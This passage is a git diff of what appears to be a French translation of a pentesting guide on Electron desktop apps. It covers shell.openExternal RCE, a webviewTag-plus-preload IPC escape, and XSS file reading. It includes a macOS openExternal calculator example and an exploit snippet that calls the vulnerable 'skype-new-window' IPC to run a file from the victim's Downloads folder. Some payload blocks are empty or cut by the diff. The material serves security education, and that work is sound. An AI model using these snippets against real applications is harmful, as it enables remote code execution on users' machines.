d'une application de bureau Electron, s'assurer des paramĂštres corrects pour `nodeIntegration` et `contextIsolation` est crucial. Il est Ă©tabli que **client-side remote code execution (RCE)** ciblant les preload scripts ou le native code d'Electron depuis le main process est effectivement empĂȘchĂ© lorsque ces paramĂštres sont en place. +Lors du dĂ©ploiement d'une application de bureau Electron, s'assurer que les paramĂštres `nodeIntegration` et `contextIsolation` sont correctement configurĂ©s est crucial. Il est Ă©tabli que **client-side remote code execution (RCE)** ciblant les preload scripts ou le code natif d'Electron depuis le processus principal est efficacement empĂȘchĂ© lorsque ces paramĂštres sont en place. -Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des event listeners spĂ©cifiques sont dĂ©clenchĂ©s, qui sont cruciaux pour la sĂ©curitĂ© et le fonctionnement de l'application : +Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des Ă©couteurs d'Ă©vĂ©nements spĂ©cifiques sont dĂ©clenchĂ©s, et ils sont cruciaux pour la sĂ©curitĂ© et le fonctionnement de l'application : ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function. +Ces listeners sont **surchargĂ©s par l'application de bureau** pour implĂ©menter leur propre **logique mĂ©tier**. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit ĂȘtre ouvert en externe, en utilisant la fonction `shell.openExternal`. -**Voici un pseudocode simplifiĂ© :** +**Voici un pseudo-code simplifiĂ© :** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Les bonnes pratiques de sĂ©curitĂ© d'Electron JS dĂ©conseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener Ă  une RCE via divers protocoles. Les systĂšmes d'exploitation prennent en charge diffĂ©rents protocoles pouvant dĂ©clencher une RCE. Pour des exemples dĂ©taillĂ©s et des explications supplĂ©mentaires sur ce sujet, on peut consulter [cette ressource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnĂ©rabilitĂ©. +Electron JS security best practices dĂ©conseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait conduire Ă  une RCE via divers protocoles. Les systĂšmes d'exploitation prennent en charge diffĂ©rents protocoles pouvant dĂ©clencher une RCE. Pour des exemples dĂ©taillĂ©s et des explications supplĂ©mentaires sur ce sujet, on peut se rĂ©fĂ©rer Ă  [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnĂ©rabilitĂ©. -Sur macos, la fonction `openExternal` peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires, par exemple `shell.openExternal('file:///System/Applications/Calculator.app')`. +Sous macos, la fonction `openExternal` peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires, par exemple `shell.openExternal('file:///System/Applications/Calculator.app')`. -**Exemples d'exploits de protocoles Windows incluent :** +**Exemples d'exploits de protocoles Windows :** ```html ``` -## RCE: webviewTag + IPC preload vulnĂ©rable + shell.openExternal +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal -Cette vulnĂ©rabilitĂ© se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. +Cette vulnĂ©rabilitĂ© est dĂ©crite dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. -Le **webviewTag** est une **fonctionnalitĂ© obsolĂšte** qui permet l'utilisation de **NodeJS** dans le **processus de rendu**, elle devrait ĂȘtre dĂ©sactivĂ©e car elle permet de charger un script dans le contexte preload comme : +La **webviewTag** est une **fonctionnalitĂ© dĂ©prĂ©ciĂ©e** qui permet l'utilisation de **NodeJS** dans le **renderer process**, elle devrait ĂȘtre dĂ©sactivĂ©e car elle permet de charger un script dans le preload context comme : ```xml ``` -Par consĂ©quent, un attaquant qui parvient Ă  charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**. +Ainsi, un attaquant qui parvient Ă  charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**. -Ce preload script a ensuite Ă©tĂ© dĂ©tournĂ© pour appeler un **service IPC vulnĂ©rable (`skype-new-window`)** qui appelait **`shell.openExternal`** afin d'obtenir RCE : +Ce preload script a ensuite Ă©tĂ© exploitĂ© pour appeler un **service IPC vulnĂ©rable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir RCE : ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do }, 5000); })(); ``` -## Lecture des fichiers internes : XSS + contextIsolation +## Lecture de fichiers internes : XSS + contextIsolation -**DĂ©sactiver `contextIsolation` permet l'utilisation des balises ``**, similaires Ă  `